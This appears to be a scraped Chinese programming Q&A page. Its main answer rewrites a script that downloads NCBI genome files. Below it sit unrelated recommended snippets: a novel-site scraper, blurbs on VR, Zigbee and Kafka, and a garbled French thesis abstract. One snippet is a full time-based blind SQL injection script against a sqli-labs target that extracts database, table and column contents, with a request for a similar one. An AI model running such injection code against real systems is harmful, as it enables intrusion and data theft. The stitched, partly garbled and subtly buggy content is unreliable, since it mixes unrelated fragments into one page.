改进代码import requests with open('PRRSV.txt','r') as f: file_names = f.readlines() for file_name in file_names: file_name = file_name.strip() url = f"ftp://ftp.ncbi.nlm.nih.gov/genomes/genbank/all/{file_name}/{file_name}_genomic.gbff.gz" response = requests.get(url) with open(f'{file_name}.gbff.gz', 'wb') as f: f.write(response.content)

时间: 2024-04-27 12:21:51 浏览: 9
你的代码似乎是从NCBI下载一些基因组数据文件,然后保存到本地。如果你想改进代码,可以考虑以下几点: 1. 引入异常处理机制,以应对可能出现的网络连接异常、文件读写异常等情况。 2. 使用多线程或异步IO等技术,以提高下载的效率。 3. 将文件的下载和保存分开,以便于维护和修改。 4. 添加一些日志记录,以便于排查问题和追踪程序的执行情况。 下面是一个可能的改进版本的代码示例,供你参考: ```python import os import logging import requests import concurrent.futures # 设置日志记录器 logger = logging.getLogger(__name__) logger.setLevel(logging.DEBUG) formatter = logging.Formatter('%(asctime)s - %(levelname)s - %(message)s') sh = logging.StreamHandler() sh.setLevel(logging.DEBUG) sh.setFormatter(formatter) logger.addHandler(sh) # 设置下载目录和线程数 DOWNLOAD_DIR = 'genomes' THREADS = 4 # 下载文件的函数 def download_file(url, file_path): try: logger.debug(f"downloading {url}") response = requests.get(url, stream=True) response.raise_for_status() with open(file_path, 'wb') as f: for chunk in response.iter_content(chunk_size=1024): f.write(chunk) logger.debug(f"downloaded {file_path}") except Exception as e: logger.error(f"failed to download {url}: {e}") # 下载文件列表中的所有文件 def download_files(file_list): with concurrent.futures.ThreadPoolExecutor(max_workers=THREADS) as executor: futures = [] for file_name in file_list: file_name = file_name.strip() url = f"ftp://ftp.ncbi.nlm.nih.gov/genomes/genbank/all/{file_name}/{file_name}_genomic.gbff.gz" file_path = os.path.join(DOWNLOAD_DIR, f"{file_name}.gbff.gz") os.makedirs(os.path.dirname(file_path), exist_ok=True) futures.append(executor.submit(download_file, url, file_path)) for future in concurrent.futures.as_completed(futures): future.result() # 主函数 def main(): with open('PRRSV.txt', 'r') as f: file_names = f.readlines() download_files(file_names) if __name__ == '__main__': main() ```

相关推荐

帮我把一下代码设置一个合理请求头,并加入一个延时import requests import os from bs4 import BeautifulSoup class NovelDownloader: def __init__(self, root_url): self.root_url = root_url self.book_list = [] self.chapter_list = [] def get_url(self, url): while True: try: res = requests.get(url) if res.status_code == 200: print("页面获取成功!") return res.text else: print("页面返回异常!", res.status_code) except: print("页面获取错误!") def get_book_list(self): res = self.get_url(self.root_url) html = BeautifulSoup(res, "html.parser") a_list = html.find_all("a", {"class": "name"}) for a in a_list: self.book_list.append(a["href"]) self.book_list = [self.root_url + i for i in self.book_list] self.book_list.remove('http://www.biquge5200.cc/') def get_chapter_list(self, url): res = self.get_url(url) html = BeautifulSoup(res, "html.parser") a_list = html.find_all("a", {"class": "chapter"}) for a in a_list: self.chapter_list.append((a["href"], a.text.replace("\n", ""))) def get_content(self, chapter): url = self.root_url + chapter[0] print(url) book_name = chapter[0].split("/")[1] print(book_name) if not os.path.exists(book_name): os.mkdir(book_name) res = self.get_url(url) html = BeautifulSoup(res, "html.parser") content = html.find("div", {"id": "content"}).text print(content) path = os.path.join(book_name, chapter[1]) with open(path, "w", encoding="utf8") as f: f.write(content) def main(self): self.get_book_list() for book in self.book_list: self.get_chapter_list(book) for chapter in self.chapter_list: self.get_content(chapter) if __name__ == '__main__': root_url = "http://www.biquge5200.cc/" nd = NovelDownloader(root_url) nd.main()

import time import requests def get_data_len(url, data_payload): length = 1 while True: data = f"id=1' and if(LENGTH({data_payload})>{length},sleep(0.4),1)--+" start_time = time.time() response = requests.get(url, params=data) end_time = time.time() if end_time - start_time >= 0.4: length += 1 else: break return length def get_ASCII(url, ascii_payload): ascii_value = '' for i in range(1, len(ascii_payload) + 1): left = 32 right = 126 while left <= right: mid = left + (right - left) // 2 data = f"id=1' and if(ASCII(SUBSTRING({ascii_payload}, {i}, 1))>{mid},sleep(0.4),1)--+" start_time = time.time() response = requests.get(url, params=data) end_time = time.time() if end_time - start_time >= 0.4: left = mid + 1 else: right = mid - 1 ascii_value += chr(left) return ascii_value def get_schema_name(url): len = get_data_len(url, 'database()') print('获取数据库名字') db_name = get_ASCII(url, f'substr(database(),1,{len})') print(db_name) def get_table_name(url): table_name = get_ASCII(url, '(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database())') print(table_name) def get_column_names(url, table_name): column_names = get_ASCII(url, f"(SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='{table_name}')") print(column_names) def get_column_data(url, table_name, column_name): column_data = get_ASCII(url, f"(SELECT GROUP_CONCAT({column_name}) FROM {table_name})") print(column_data) url = "http://192.168.124.128/sqli-labs-master/Less-9/??id=1/" print('开始') get_schema_name(url) print() get_table_name(url) get_column_names(url,'emails') table_name = 'emails' column_name = 'email_id' get_column_data(url, table_name, column_name)帮我写个类似这样的python时间盲注脚本

最新推荐

recommend-type

Google已经推出了Google VR SDK,

VR(Virtual Reality)即虚拟现实,是一种可以创建和体验虚拟世界的计算机技术。它利用计算机生成一种模拟环境,是一种多源信息融合的、交互式的三维动态视景和实体行为的系统仿真,使用户沉浸到该环境中。VR技术通过模拟人的视觉、听觉、触觉等感觉器官功能,使人能够沉浸在计算机生成的虚拟境界中,并能够通过语言、手势等自然的方式与之进行实时交互,创建了一种适人化的多维信息空间。 VR技术具有以下主要特点: 沉浸感:用户感到作为主角存在于模拟环境中的真实程度。理想的模拟环境应该使用户难以分辨真假,使用户全身心地投入到计算机创建的三维虚拟环境中,该环境中的一切看上去是真的,听上去是真的,动起来是真的,甚至闻起来、尝起来等一切感觉都是真的,如同在现实世界中的感觉一样。 交互性:用户对模拟环境内物体的可操作程度和从环境得到反馈的自然程度(包括实时性)。例如,用户可以用手去直接抓取模拟环境中虚拟的物体,这时手有握着东西的感觉,并可以感觉物体的重量,视野中被抓的物体也能立刻随着手的移动而移动。 构想性:也称想象性,指用户沉浸在多维信息空间中,依靠自己的感知和认知能力获取知识,发挥主观能动性,寻求解答,形成新的概念。此概念不仅是指观念上或语言上的创意,而且可以是指对某些客观存在事物的创造性设想和安排。 VR技术可以应用于各个领域,如游戏、娱乐、教育、医疗、军事、房地产、工业仿真等。随着VR技术的不断发展,它正在改变人们的生活和工作方式,为人们带来全新的体验。
recommend-type

基于51单片机的自动循迹、蓝牙遥控,超声波避障的智能小车+全部资料+详细文档(高分项目).zip

【资源说明】 基于51单片机的自动循迹、蓝牙遥控,超声波避障的智能小车+全部资料+详细文档(高分项目).zip基于51单片机的自动循迹、蓝牙遥控,超声波避障的智能小车+全部资料+详细文档(高分项目).zip基于51单片机的自动循迹、蓝牙遥控,超声波避障的智能小车+全部资料+详细文档(高分项目).zip 【备注】 1、该项目是个人高分项目源码,已获导师指导认可通过,答辩评审分达到95分 2、该资源内项目代码都经过测试运行成功,功能ok的情况下才上传的,请放心下载使用! 3、本项目适合计算机相关专业(人工智能、通信工程、自动化、电子信息、物联网等)的在校学生、老师或者企业员工下载使用,也可作为毕业设计、课程设计、作业、项目初期立项演示等,当然也适合小白学习进阶。 4、如果基础还行,可以在此代码基础上进行修改,以实现其他功能,也可直接用于毕设、课设、作业等。 欢迎下载,沟通交流,互相学习,共同进步!
recommend-type

zigbee-cluster-library-specification

最新的zigbee-cluster-library-specification说明文档。
recommend-type

管理建模和仿真的文件

管理Boualem Benatallah引用此版本:布阿利姆·贝纳塔拉。管理建模和仿真。约瑟夫-傅立叶大学-格勒诺布尔第一大学,1996年。法语。NNT:电话:00345357HAL ID:电话:00345357https://theses.hal.science/tel-003453572008年12月9日提交HAL是一个多学科的开放存取档案馆,用于存放和传播科学研究论文,无论它们是否被公开。论文可以来自法国或国外的教学和研究机构,也可以来自公共或私人研究中心。L’archive ouverte pluridisciplinaire
recommend-type

实现实时数据湖架构:Kafka与Hive集成

![实现实时数据湖架构:Kafka与Hive集成](https://img-blog.csdnimg.cn/img_convert/10eb2e6972b3b6086286fc64c0b3ee41.jpeg) # 1. 实时数据湖架构概述** 实时数据湖是一种现代数据管理架构,它允许企业以低延迟的方式收集、存储和处理大量数据。与传统数据仓库不同,实时数据湖不依赖于预先定义的模式,而是采用灵活的架构,可以处理各种数据类型和格式。这种架构为企业提供了以下优势: - **实时洞察:**实时数据湖允许企业访问最新的数据,从而做出更明智的决策。 - **数据民主化:**实时数据湖使各种利益相关者都可
recommend-type

list根据id查询pid 然后依次获取到所有的子节点数据

可以使用递归的方式来实现根据id查询pid并获取所有子节点数据。具体实现可以参考以下代码: ``` def get_children_nodes(nodes, parent_id): children = [] for node in nodes: if node['pid'] == parent_id: node['children'] = get_children_nodes(nodes, node['id']) children.append(node) return children # 测试数
recommend-type

JSBSim Reference Manual

JSBSim参考手册,其中包含JSBSim简介,JSBSim配置文件xml的编写语法,编程手册以及一些应用实例等。其中有部分内容还没有写完,估计有生之年很难看到完整版了,但是内容还是很有参考价值的。
recommend-type

"互动学习:行动中的多样性与论文攻读经历"

多样性她- 事实上SCI NCES你的时间表ECOLEDO C Tora SC和NCESPOUR l’Ingén学习互动,互动学习以行动为中心的强化学习学会互动,互动学习,以行动为中心的强化学习计算机科学博士论文于2021年9月28日在Villeneuve d'Asq公开支持马修·瑟林评审团主席法布里斯·勒菲弗尔阿维尼翁大学教授论文指导奥利维尔·皮耶昆谷歌研究教授:智囊团论文联合主任菲利普·普雷教授,大学。里尔/CRISTAL/因里亚报告员奥利维耶·西格德索邦大学报告员卢多维奇·德诺耶教授,Facebook /索邦大学审查员越南圣迈IMT Atlantic高级讲师邀请弗洛里安·斯特鲁布博士,Deepmind对于那些及时看到自己错误的人...3谢谢你首先,我要感谢我的两位博士生导师Olivier和Philippe。奥利维尔,"站在巨人的肩膀上"这句话对你来说完全有意义了。从科学上讲,你知道在这篇论文的(许多)错误中,你是我可以依
recommend-type

实现实时监控告警系统:Kafka与Grafana整合

![实现实时监控告警系统:Kafka与Grafana整合](https://imgconvert.csdnimg.cn/aHR0cHM6Ly9tbWJpei5xcGljLmNuL21tYml6X2pwZy9BVldpY3ladXVDbEZpY1pLWmw2bUVaWXFUcEdLT1VDdkxRSmQxZXB5R1lxaWNlUjA2c0hFek5Qc3FyRktudFF1VDMxQVl3QTRXV2lhSWFRMEFRc0I1cW1ZOGcvNjQw?x-oss-process=image/format,png) # 1.1 Kafka集群架构 Kafka集群由多个称为代理的服务器组成,这
recommend-type

未定义标识符CFileFind

CFileFind 是MFC(Microsoft Foundation Class)中的一个类,用于在Windows文件系统中搜索文件和目录。如果你在使用CFileFind时出现了“未定义标识符”的错误,可能是因为你没有包含MFC头文件或者没有链接MFC库。你可以检查一下你的代码中是否包含了以下头文件: ```cpp #include <afx.h> ``` 另外,如果你在使用Visual Studio开发,还需要在项目属性中将“使用MFC”设置为“使用MFC的共享DLL”。这样才能正确链接MFC库。